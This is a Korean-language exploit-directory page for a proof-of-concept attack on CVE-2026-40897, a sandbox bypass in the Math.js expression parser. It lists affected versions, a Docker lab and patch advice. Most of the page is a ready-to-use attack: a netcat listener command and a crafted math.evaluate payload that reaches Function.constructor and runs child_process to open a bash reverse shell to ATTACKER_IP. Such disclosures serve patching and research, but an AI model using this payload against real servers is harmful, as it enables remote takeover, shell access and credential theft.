Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40897 — CVE-2026-40897에 대한 개념 증명 익스플로잇으로, Math.js 표현식 파서 샌드박스 우회를 통해 조작된 페이로드와 Docker 랩을 이용한 원격 코드 실행이 가능하다. | Kitploit
도구/GitHubGitHub/yym8538/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationRemote Access ToolPayload Development
GitHubyym8538/cve-2026-40897

CVE-2026-40897

CVE-2026-40897에 대한 개념 증명 익스플로잇으로, Math.js 표현식 파서 샌드박스 우회를 통해 조작된 페이로드와 Docker 랩을 이용한 원격 코드 실행이 가능하다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40897 Math.js 표현식 파서의 원격 코드 실행

★ CVE-2026-40897 Math.js PoC의 원격 코드 실행 ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


개요

CVE-2026-40897은 Math.js의 표현식 파서에 존재하는 샌드박스 우회를 통한 원격 코드 실행 취약점입니다. isSafeProperty 필터는 사용자 표현식에서의 속성 접근만 검사할 뿐, 내부 코드 경로에서의 접근은 검사하지 않습니다. 공격자는 toJSON()을 통해 ArrayNode의 내부 배열을 유출하고 그 .map을 덮어써서, 내부 코드가 Function.constructor에 접근하도록 강제하고 임의의 JavaScript를 실행할 수 있습니다.


영향을 받는 버전

CategoryVersion
취약Math.js 13.1.1 ≤ version ≤ 15.1.1
패치됨15.2.0

영향

  • 임의의 JavaScript 코드 실행 (RCE)
  • 호스트 파일 시스템 접근
  • 전체 서버 장악으로 이어지는 리버스 셸 연결
  • 백엔드 자격 증명 및 민감 데이터 유출

환경

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현하세요.

1단계. 리버스 셸 리스너 시작

nc -lvnp 4444

2단계. 악성 페이로드 제출

다음 표현식을 math.evaluate에 전송하세요 (예: 애플리케이션의 계산 입력을 통해).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

3단계. 공격자 측에서 셸 접근 확인

대상 서버가 공격자의 리스너로 역접속하여 대화형 bash 셸을 제공합니다.


완화 방안

  • Math.js를 패치된 버전으로 업그레이드
  • 신뢰할 수 없는 사용자 입력을 math.evaluate()에 직접 전달하지 않기
  • 표현식 파서를 통한 내부 함수/클래스(reviver, FunctionAssignmentNode, ArrayNode) 노출 제한

분석

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
도구 다운로드